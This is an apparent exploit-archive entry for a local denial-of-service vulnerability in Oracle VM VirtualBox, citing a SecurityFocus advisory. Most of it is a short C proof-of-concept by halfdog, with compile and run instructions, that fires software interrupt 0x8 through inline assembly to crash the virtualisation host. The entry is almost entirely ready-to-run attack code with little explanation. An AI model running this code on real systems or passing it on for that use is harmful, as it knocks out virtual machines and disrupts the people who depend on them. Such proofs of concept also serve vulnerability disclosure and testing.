Source: http://www.securityfocus.com/bid/55471/info
Oracle VM VirtualBox is prone to a local denial-of-service vulnerability.
Attackers can exploit this issue to cause denial-of-service conditions.
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* Copyright (c) 2012 halfdog <me (%) halfdog.net>
*
* Compile: gcc -o RtcInt RtcInt.c
* Usage: ./RtcInt
*/
int main(int argc, char **argv) {
asm (
"int $0x8;"
: // output: none
: // input: none
:"%eax", "%ebx", "%ecx", "%edx" // clobbered register
);
return(0);
}